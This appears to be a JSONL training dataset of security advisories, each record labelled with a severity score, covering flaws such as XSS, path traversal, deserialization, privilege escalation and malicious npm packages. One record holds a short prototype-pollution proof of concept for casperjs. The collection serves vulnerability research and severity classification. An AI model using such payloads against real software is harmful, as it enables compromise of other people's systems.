-{"id": "b603f3dc3da63988bfdc", "text": "Buildah processes using chroot isolation may leak environment values to intermediate processes\n\n### Impact\nWhen running processes using \"chroot\" isolation, the process being run can examine the environment variables of its immediate parent and grandparent processes (CVE-2021-3602).  This isolation type is often used when running `buildah` in unprivileged containers, and it is often used to do so in CI/CD environments.  If sensitive information is exposed to the original `buildah` process through its environment, that information will unintentionally be shared with child processes which it starts as part of handling RUN instructions or during `buildah run`.  The commands that `buildah` is instructed to run can read that information if they choose to.\n\n### Patches\nUsers should upgrade packages, or images which contain packages, to include version 1.21.3 or later.\n\n### Workarounds\nAs a workaround, invoking `buildah` in a container under `env -i` to have it started with a reinitialized environment should prevent the leakage.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [buildah](https://github.com/containers/buildah/issues)\n* Email us at [the buildah general mailing list](mailto:buildah@lists.buildah.io), or [the podman security mailing list](mailto:security@lists.podman.io) if it's sensitive.", "text_raw": "Buildah processes using chroot isolation may leak environment values to intermediate processes\n\n[Severity: MEDIUM]\n\n### Impact\nWhen running processes using \"chroot\" isolation, the process being run can examine the environment variables of its immediate parent and grandparent processes (CVE-2021-3602).  This isolation type is often used when running `buildah` in unprivileged containers, and it is often used to do so in CI/CD environments.  If sensitive information is exposed to the original `buildah` process through its environment, that information will unintentionally be shared with child processes which it starts as part of handling RUN instructions or during `buildah run`.  The commands that `buildah` is instructed to run can read that information if they choose to.\n\n### Patches\nUsers should upgrade packages, or images which contain packages, to include version 1.21.3 or later.\n\n### Workarounds\nAs a workaround, invoking `buildah` in a container under `env -i` to have it started with a reinitialized environment should prevent the leakage.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [buildah](https://github.com/containers/buildah/issues)\n* Email us at [the buildah general mailing list](mailto:buildah@lists.buildah.io), or [the podman security mailing list](mailto:security@lists.podman.io) if it's sensitive.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-19", "split": "train"}
-{"id": "167065f16d2df8211194", "text": "Unspecified vulnerability in (1) Zope 2.12.x before 2.12.19 and 2.13.x before 2.13.8, as used in Plone 4.x and other products, and (2) PloneHotfix20110720 for Plone 3.x allows attackers to gain privileges via unspecified vectors, related to a \"highly serious vulnerability.\" NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-0720.", "text_raw": "High severity vulnerability that affects Plone and Zope2\n\n[Severity: HIGH]\n\nUnspecified vulnerability in (1) Zope 2.12.x before 2.12.19 and 2.13.x before 2.13.8, as used in Plone 4.x and other products, and (2) PloneHotfix20110720 for Plone 3.x allows attackers to gain privileges via unspecified vectors, related to a \"highly serious vulnerability.\" NOTE: this vulnerability exists because of an incorrect fix for CVE-2011-0720.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "c0ab659fbb4eacf1d03c", "text": "Unsafe deserialization in SmtpTransport in CakePHP\n\nAn issue was discovered in SmtpTransport in CakePHP 3.7.6. An unserialized object with modified internal properties can trigger arbitrary file overwriting upon destruction.", "text_raw": "Unsafe deserialization in SmtpTransport in CakePHP\n\n[Severity: HIGH]\n\nAn issue was discovered in SmtpTransport in CakePHP 3.7.6. An unserialized object with modified internal properties can trigger arbitrary file overwriting upon destruction.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-12-02", "split": "train"}
-{"id": "aceda31a7e37bf5a51ed", "text": "Path Traversal in simplehttpserver\n\nAll versions of `simplehttpserver` are vulnerable to Path Traversal.\n\nThis vulnerability allows an attacker to access files outside the webroot since it allows symlink navigation in the URL.\n\n## Recommendation\n\nNo fix is currently available. Do not use `simplehttpserver` in production or consider using an alternative module until a fix is made available.", "text_raw": "Path Traversal in simplehttpserver\n\n[Severity: MEDIUM]\n\nAll versions of `simplehttpserver` are vulnerable to Path Traversal. \n\nThis vulnerability allows an attacker to access files outside the webroot since it allows symlink navigation in the URL.\n\n\n## Recommendation\n\nNo fix is currently available. Do not use `simplehttpserver` in production or consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-06", "split": "train"}
-{"id": "cb9fec9aa4dabd9c665f", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Privilege Escalation", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Privilege Escalation\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "ad41de380d3b66202fa6", "text": "In Bouncy Castle JCE Provider the DSA key pair generator generates a weak private key if used with default values\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the DSA key pair generator generates a weak private key if used with default values. If the JCA key pair generator is not explicitly initialised with DSA parameters, 1.55 and earlier generates a private value assuming a 1024 bit key size. In earlier releases this can be dealt with by explicitly passing parameters to the key pair generator.", "text_raw": "In Bouncy Castle JCE Provider the DSA key pair generator generates a weak private key if used with default values\n\n[Severity: HIGH]\n\nIn the Bouncy Castle JCE Provider version 1.55 and earlier the DSA key pair generator generates a weak private key if used with default values. If the JCA key pair generator is not explicitly initialised with DSA parameters, 1.55 and earlier generates a private value assuming a 1024 bit key size. In earlier releases this can be dealt with by explicitly passing parameters to the key pair generator.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "b5f4c78a15ae06fa63b3", "text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs\n\n### Overview\ncasperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.\n\n### PoC\n```js\nvar payload = JSON.parse('{\"__proto__\": {\"a\": \"pwned\"}}');\nmergeObjects({}, payload);\nconsole.log({}.a); // prints \"pwned\"\n```", "text_raw": "Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs\n\n[Severity: HIGH]\n\n### Overview\ncasperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.\n\n### PoC\n```js\nvar payload = JSON.parse('{\"__proto__\": {\"a\": \"pwned\"}}');\nmergeObjects({}, payload);\nconsole.log({}.a); // prints \"pwned\"\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "627ccc4e436ecc3ee723", "text": "SSRF attacks via tracebacks in Plone\n\nPlone before 5.2.3 allows SSRF attacks via the tracebacks feature (only available to the Manager role).", "text_raw": "SSRF attacks via tracebacks in Plone\n\n[Severity: HIGH]\n\nPlone before 5.2.3 allows SSRF attacks via the tracebacks feature (only available to the Manager role).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "5d7d356deff70bee0296", "text": "Incorrect Privilege Assignment in HashiCorp Vault\n\nHashiCorp Vault and Vault Enterprise 1.8.x through 1.8.4 may have an unexpected interaction between glob-related policies and the Google Cloud secrets engine. Users may, in some situations, have more privileges than intended, e.g., a user with read permission for the /gcp/roleset/* path may be able to issue Google Cloud service account credentials.", "text_raw": "Incorrect Privilege Assignment in HashiCorp Vault\n\n[Severity: HIGH]\n\nHashiCorp Vault and Vault Enterprise 1.8.x through 1.8.4 may have an unexpected interaction between glob-related policies and the Google Cloud secrets engine. Users may, in some situations, have more privileges than intended, e.g., a user with read permission for the /gcp/roleset/* path may be able to issue Google Cloud service account credentials.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "ceaa7d14baa11ca368bd", "text": "Cross-site Scripting in file-upload-with-preview\n\nThis affects the package file-upload-with-preview before 4.2.0. A file containing malicious JavaScript code in the name can be uploaded (a user needs to be tricked into uploading such a file).", "text_raw": "Cross-site Scripting in file-upload-with-preview\n\n[Severity: MEDIUM]\n\nThis affects the package file-upload-with-preview before 4.2.0. A file containing malicious JavaScript code in the name can be uploaded (a user needs to be tricked into uploading such a file).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "46503111f1b8e1b0ce93", "text": "Crashes due to overflow and `CHECK`-fail in ops with large tensor shapes\n\n### Impact\nTensorFlow allows tensor to have a large number of dimensions and each dimension can be as large as desired. However, the total number of elements in a tensor must fit within an `int64_t`. If an overflow occurs, `MultiplyWithoutOverflow` would return a negative result. In the majority of TensorFlow codebase this then results in a `CHECK`-failure. Newer constructs exist which return a `Status` instead of crashing the binary.\n\nFor example [`AddDim`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/framework/tensor_shape.cc#L395-L408) calls should be replaced by [`AddDimWithStatus`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/framework/tensor_shape.cc#L410-L440).\n\nThis is similar to [CVE-2021-29584](https://github.com/tensorflow/tensorflow/blob/3a74f0307236fe206b046689c4d76f57c9b74eee/tensorflow/security/advisory/tfsa-2021-071.md) (and similar other reported vulnerabilities in TensorFlow, localized to specific APIs).\n\n### Patches\nWe have patched the issue in GitHub commits [7c1692bd417eb4f9b33ead749a41166d6080af85](https://github.com/tensorflow/tensorflow/commit/7c1692bd417eb4f9b33ead749a41166d6080af85) (merging [#51732](https://github.com/tensorflow/tensorflow/pull/51732)), [d81b1351da3e8c884ff836b64458d94e4a157c15](https://github.com/tensorflow/tensorflow/commit/d81b1351da3e8c884ff836b64458d94e4a157c15) (merging [#51717](https://github.com/tensorflow/tensorflow/pull/51717)), [a871989d7b6c18cdebf2fb4f0e5c5b62fbc19edf](https://github.com/tensorflow/tensorflow/commit/a871989d7b6c18cdebf2fb4f0e5c5b62fbc19edf) (merging [#51658](https://github.com/tensorflow/tensorflow/pull/51658)), and [d81b1351da3e8c884ff836b64458d94e4a157c15](https://github.com/tensorflow/tensorflow/commit/d81b1351da3e8c884ff836b64458d94e4a157c15) (merging [#51973](https://github.com/tensorflow/tensorflow/pull/51973)). It is possible that other similar instances exist in TensorFlow, we will issue fixes as these are discovered.\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46890), [GitHub issue](https://github.com/tensorflow/tensorflow/issues/51618) and [GitHub issue](https://github.com/tensorflow/tensorflow/issues/51908).", "text_raw": "Crashes due to overflow and `CHECK`-fail in ops with large tensor shapes\n\n[Severity: MEDIUM]\n\n### Impact\nTensorFlow allows tensor to have a large number of dimensions and each dimension can be as large as desired. However, the total number of elements in a tensor must fit within an `int64_t`. If an overflow occurs, `MultiplyWithoutOverflow` would return a negative result. In the majority of TensorFlow codebase this then results in a `CHECK`-failure. Newer constructs exist which return a `Status` instead of crashing the binary.\n\nFor example [`AddDim`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/framework/tensor_shape.cc#L395-L408) calls should be replaced by [`AddDimWithStatus`](https://github.com/tensorflow/tensorflow/blob/0b6b491d21d6a4eb5fbab1cca565bc1e94ca9543/tensorflow/core/framework/tensor_shape.cc#L410-L440).\n\nThis is similar to [CVE-2021-29584](https://github.com/tensorflow/tensorflow/blob/3a74f0307236fe206b046689c4d76f57c9b74eee/tensorflow/security/advisory/tfsa-2021-071.md) (and similar other reported vulnerabilities in TensorFlow, localized to specific APIs).\n\n### Patches\nWe have patched the issue in GitHub commits [7c1692bd417eb4f9b33ead749a41166d6080af85](https://github.com/tensorflow/tensorflow/commit/7c1692bd417eb4f9b33ead749a41166d6080af85) (merging [#51732](https://github.com/tensorflow/tensorflow/pull/51732)), [d81b1351da3e8c884ff836b64458d94e4a157c15](https://github.com/tensorflow/tensorflow/commit/d81b1351da3e8c884ff836b64458d94e4a157c15) (merging [#51717](https://github.com/tensorflow/tensorflow/pull/51717)), [a871989d7b6c18cdebf2fb4f0e5c5b62fbc19edf](https://github.com/tensorflow/tensorflow/commit/a871989d7b6c18cdebf2fb4f0e5c5b62fbc19edf) (merging [#51658](https://github.com/tensorflow/tensorflow/pull/51658)), and [d81b1351da3e8c884ff836b64458d94e4a157c15](https://github.com/tensorflow/tensorflow/commit/d81b1351da3e8c884ff836b64458d94e4a157c15) (merging [#51973](https://github.com/tensorflow/tensorflow/pull/51973)). It is possible that other similar instances exist in TensorFlow, we will issue fixes as these are discovered.\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46890), [GitHub issue](https://github.com/tensorflow/tensorflow/issues/51618) and [GitHub issue](https://github.com/tensorflow/tensorflow/issues/51908).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "4452ecf4a98df0647c82", "text": "Cross-Site Scripting in sexstatic\n\nAll versions of `sexstatic` are vulnerable to stored cross-site scripting (xss). This is exploitable if an attacker can control a filename that is served by `sexstatic`.\n\n## Recommendation\n\nAs there is no fix is currently available for this vulnerability it is our recommendation to not install or used this module at this time.", "text_raw": "Cross-Site Scripting in sexstatic\n\n[Severity: MEDIUM]\n\nAll versions of `sexstatic` are vulnerable to stored cross-site scripting (xss). This is exploitable if an attacker can control a filename that is served by `sexstatic`.\n\n\n\n## Recommendation\n\nAs there is no fix is currently available for this vulnerability it is our recommendation to not install or used this module at this time.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-01", "split": "train"}
-{"id": "ed6c1805f81560e581dc", "text": "Cross Site Request Forgery in firefly-iii\n\nfirefly-iii is vulnerable to a Cross-Site Request Forgery (CSRF) attack which can disable two factor authentication for the target user.", "text_raw": "Cross Site Request Forgery in firefly-iii \n\n[Severity: MEDIUM]\n\nfirefly-iii is vulnerable to a Cross-Site Request Forgery (CSRF) attack which can disable two factor authentication for the target user.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "f969a41dc1fe3c5f37fa", "text": "Insecure Defaults Leads to Potential MITM in ezseed-transmission\n\nAffected versions of `ezseed-transmission` download and run a script over an HTTP connection.\n\nAn attacker in a privileged network position could launch a Man-in-the-Middle attack and intercept the script, replacing it with malicious code, completely compromising the system running `ezseed-transmission`.\n\n## Recommendation\n\nUpdate to version 0.0.15 or later.", "text_raw": "Insecure Defaults Leads to Potential MITM in ezseed-transmission\n\n[Severity: MEDIUM]\n\nAffected versions of `ezseed-transmission` download and run a script over an HTTP connection.\n\nAn attacker in a privileged network position could launch a Man-in-the-Middle attack and intercept the script, replacing it with malicious code, completely compromising the system running `ezseed-transmission`.\n\n\n\n## Recommendation\n\nUpdate to version 0.0.15 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "a79e6065f9b4f9a30a3d", "text": "Unsafe Deserialization in jackson-databind\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to `org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS`.", "text_raw": "Unsafe Deserialization in jackson-databind\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.8 and 2.6.7.5 mishandles the interaction between serialization gadgets and typing, related to `org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "22bf8172b27bda1aaa91", "text": "Specification non-compliance in JUMPI\n\n### Impact\n\nIn `evm` crate `< 0.31.0`, `JUMPI` opcode's condition is checked after the destination validity check. However, according to Geth and OpenEthereum, the condition check should happen before the destination validity check.\n\n### Patches\n\n### Workarounds\n\nIf you are dependent on an older version of `evm` and cannot update due to API interface changes, please contact Wei by email (wei@that.world), who will be happy to help you to publish patch releases for older `evm` versions.\n\n### References\n\nFix PR: https://github.com/rust-blockchain/evm/pull/67\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the `evm` repo.\n\n### Special thanks\n\nSpecial thanks to @rakita for reporting this issue.", "text_raw": "Specification non-compliance in JUMPI\n\n[Severity: HIGH]\n\n### Impact \n\nIn `evm` crate `< 0.31.0`, `JUMPI` opcode's condition is checked after the destination validity check. However, according to Geth and OpenEthereum, the condition check should happen before the destination validity check.\n\n### Patches\n\nThis is a **high** severity security advisory if you use `evm` crate for Ethereum mainnet. In this case, you should update your library dependency immediately to on or after `0.31.0`.\n\nThis is a **low** severity security advisory if you use `evm` crate in Frontier or in a standalone blockchain, because there's no security exploit possible with this advisory. It is **not** recommended to update to on or after `0.31.0` until all the normal chain upgrade preparations have been done. If you use Frontier or other `pallet-evm` based Substrate blockchain, please ensure to update your `spec_version` before updating this. For other blockchains, please make sure to follow a hard-fork process before you update this.\n\n### Workarounds\n\nIf you are dependent on an older version of `evm` and cannot update due to API interface changes, please contact Wei by email (wei@that.world), who will be happy to help you to publish patch releases for older `evm` versions.\n\n### References\n\nFix PR: https://github.com/rust-blockchain/evm/pull/67\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in the `evm` repo.\n\n### Special thanks\n\nSpecial thanks to @rakita for reporting this issue.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "d7a4b6e87a91ca70a5ff", "text": "Cross-Site Scripting in yui\n\nAffected versions of `yui` are vulnerable to cross-site scripting in the `uploader.swf` and `io.swf` utilities, via script injection in the url.\n\n## Recommendation\n\nYUI has published their recommendation to fix this issue. \nTheir recommendation is to:\n - Delete self-hosted copies of these files if you are not using them\n - Use the Yahoo! CDN hosted files\n - Use the patched files provided on the YUI Library [here](https://yuilibrary.com/support/20130515-vulnerability/#resolution).", "text_raw": "Cross-Site Scripting in yui\n\n[Severity: MEDIUM]\n\nAffected versions of `yui` are vulnerable to cross-site scripting in the `uploader.swf` and `io.swf` utilities, via script injection in the url.\n\n\n\n## Recommendation\n\nYUI has published their recommendation to fix this issue. \nTheir recommendation is to:\n - Delete self-hosted copies of these files if you are not using them\n - Use the Yahoo! CDN hosted files\n - Use the patched files provided on the YUI Library [here](https://yuilibrary.com/support/20130515-vulnerability/#resolution).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "9724c56a6cd753900a9f", "text": "Zortam ID3 Tag Editor 5.0 Remote Stack Overflow Vulnerability", "text_raw": "Zortam ID3 Tag Editor 5.0 Remote Stack Overflow Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2009-07-16", "split": "train"}
-{"id": "662ad83c8cc0b4bde8cb", "text": "Malicious Package in evil-package\n\nAll versions of `evil-package` contain malicious code. The package uploads the contents of `process.env` to `example.com/log`.\n\n## Recommendation\n\nRemove the package from your environment. Given the host where the information was uploaded to there is no further indication of compromise.", "text_raw": "Malicious Package in evil-package\n\n[Severity: CRITICAL]\n\nAll versions of `evil-package` contain malicious code. The package uploads the contents of `process.env` to `example.com/log`.\n\n\n## Recommendation\n\nRemove the package from your environment. Given the host where the information was uploaded to there is no further indication of compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "3e27a82902b588937cb5", "text": "EDraw Flowchart ActiveX Control 2.3 (EDImage.ocx) Remote DoS Exploit (IE)", "text_raw": "EDraw Flowchart ActiveX Control 2.3 (EDImage.ocx) Remote DoS Exploit (IE)\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2010-04-22", "split": "train"}
-{"id": "9a63cdddb52ad0720035", "text": "Cross-Site Request Forgery (CSRF)\n\n# Withdrawn\n\nAffected versions of the package are vulnerable to Cross-Site Request Forgery (CSRF) attacks.", "text_raw": "Cross-Site Request Forgery (CSRF)\n\n[Severity: MEDIUM]\n\n# Withdrawn\n\nAffected versions of the package are vulnerable to Cross-Site Request Forgery (CSRF) attacks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-02-24", "split": "train"}
-{"id": "e989bbce767e3593d8cb", "text": "XSS in Vega\n\nVega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Vega in an npm package.\nIn Vega before version 5.17.3 there is an XSS vulnerability in Vega expressions. Through a specially crafted Vega expression, an attacker could\nexecute arbitrary javascript on a victim's machine.\n\nThis is fixed in version 5.17.3", "text_raw": "XSS in Vega\n\n[Severity: LOW]\n\nVega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Vega in an npm package.\nIn Vega before version 5.17.3 there is an XSS vulnerability in Vega expressions. Through a specially crafted Vega expression, an attacker could\nexecute arbitrary javascript on a victim's machine.\n\nThis is fixed in version 5.17.3", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-12-30", "split": "train"}
-{"id": "1bd2c195af41af65636e", "text": "Malicious Package in coinstrng\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in coinstrng\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "d06598e43210e41ea2c2", "text": "NUUO Arbitrary File Deletion Vulnerability", "text_raw": "NUUO Arbitrary File Deletion Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-08-06", "split": "train"}
-{"id": "187824f1be4a851bcab6", "text": "Arm Mali Graphics Processing Unit (GPU) Unspecified Vulnerability\n\nAffected: Arm Mali Graphics Processing Unit (GPU)\n\nArm Mali Graphics Processing Unit (GPU) kernel driver contains an unspecified vulnerability that may allow a non-privileged user to gain write access to read-only memory, gain root privilege, corrupt memory, and modify the memory of other processes.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Arm Mali Graphics Processing Unit (GPU) Unspecified Vulnerability\n\nAffected: Arm Mali Graphics Processing Unit (GPU)\n\nArm Mali Graphics Processing Unit (GPU) kernel driver contains an unspecified vulnerability that may allow a non-privileged user to gain write access to read-only memory, gain root privilege, corrupt memory, and modify the memory of other processes.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b91c16481c2fdc56b7bf", "text": "Data race in tiny_future\n\ntiny_future contains a light-weight implementation of Futures. The Future type it has lacked bound on its Send and Sync traits. This allows for a bug where non-thread safe types such as Cell can be used in Futures and cause data races in concurrent programs. The flaw was corrected in commit `c791919` by adding trait bounds to Future's Send and Sync.", "text_raw": "Data race in tiny_future\n\n[Severity: HIGH]\n\ntiny_future contains a light-weight implementation of Futures. The Future type it has lacked bound on its Send and Sync traits. This allows for a bug where non-thread safe types such as Cell can be used in Futures and cause data races in concurrent programs. The flaw was corrected in commit `c791919` by adding trait bounds to Future's Send and Sync.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e2c606e931d0ec407421", "text": "Arbitrary File Deletion vulnerability in OctoberCMS\n\n### Impact\nAn attacker can exploit this vulnerability to delete arbitrary local files of an October CMS server. The vulnerability is only exploitable by an authenticated backend user with the `cms.manage_assets` permission.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/2b8939cc8b5b6fe81e093fe2c9f883ada4e3c8cc to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1241\" alt=\"Screen Shot 2020-03-31 at 12 16 53 PM\" src=\"https://user-images.githubusercontent.com/7253840/78060872-89354d00-7349-11ea-8c2b-5881b0a50736.png\">", "text_raw": "Arbitrary File Deletion vulnerability in OctoberCMS\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can exploit this vulnerability to delete arbitrary local files of an October CMS server. The vulnerability is only exploitable by an authenticated backend user with the `cms.manage_assets` permission.\n\n### Patches\nIssue has been patched in Build 466 (v1.0.466).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/2b8939cc8b5b6fe81e093fe2c9f883ada4e3c8cc to your installation manually if unable to upgrade to Build 466.\n\n### References\nReported by [Sivanesh Ashok](https://stazot.com/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1241\" alt=\"Screen Shot 2020-03-31 at 12 16 53 PM\" src=\"https://user-images.githubusercontent.com/7253840/78060872-89354d00-7349-11ea-8c2b-5881b0a50736.png\">", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "0f3622df29f3b0557943", "text": "Prototype pollution in grpc and @grpc/grpc-js\n\n\"The package grpc before 1.24.4 and the package @grpc/grpc-js before 1.1.8 are vulnerable to Prototype Pollution via loadPackageDefinition.\"", "text_raw": "Prototype pollution in grpc and @grpc/grpc-js\n\n[Severity: HIGH]\n\n\"The package grpc before 1.24.4 and the package @grpc/grpc-js before 1.1.8 are vulnerable to Prototype Pollution via loadPackageDefinition.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "acb858bc05fb60732057", "text": "Permissions bypass in pleaser\n\nFailure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.", "text_raw": "Permissions bypass in pleaser\n\n[Severity: HIGH]\n\nFailure to normalize the umask in pleaser before 0.4.0 allows a local attacker to gain full root privileges if they are allowed to execute at least one command.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "867e946d3ca5089043c0", "text": "systeminformation command injection vulnerability\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a shell string sanitation fix. Please upgrade to version >= 4.27.11\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to si.inetChecksite()\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [systeminformation](https://github.com/sebhildebrandt/systeminformation/issues/new?template=bug_report.md)", "text_raw": "systeminformation command injection vulnerability\n\n[Severity: HIGH]\n\n### Impact\ncommand injection vulnerability\n\n### Patches\nProblem was fixed with a shell string sanitation fix. Please upgrade to version >= 4.27.11\n\n### Workarounds\nIf you cannot upgrade, be sure to check or sanitize service parameter strings that are passed to si.inetChecksite()\n\n### References\n_Are there any links users can visit to find out more?_\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [systeminformation](https://github.com/sebhildebrandt/systeminformation/issues/new?template=bug_report.md)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-27", "split": "train"}
-{"id": "7086b06c80e87c40434b", "text": "Code Injection in PyXDG\n\nA code injection issue was discovered in PyXDG before 0.26 via crafted Python code in a Category element of a Menu XML document in a .menu file. XDG_CONFIG_DIRS must be set up to trigger xdg.Menu.parse parsing within the directory containing this file. This is due to a lack of sanitization in xdg/Menu.py before an eval call.", "text_raw": "Code Injection in PyXDG\n\n[Severity: HIGH]\n\nA code injection issue was discovered in PyXDG before 0.26 via crafted Python code in a Category element of a Menu XML document in a .menu file. XDG_CONFIG_DIRS must be set up to trigger xdg.Menu.parse parsing within the directory containing this file. This is due to a lack of sanitization in xdg/Menu.py before an eval call.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-06-07", "split": "train"}
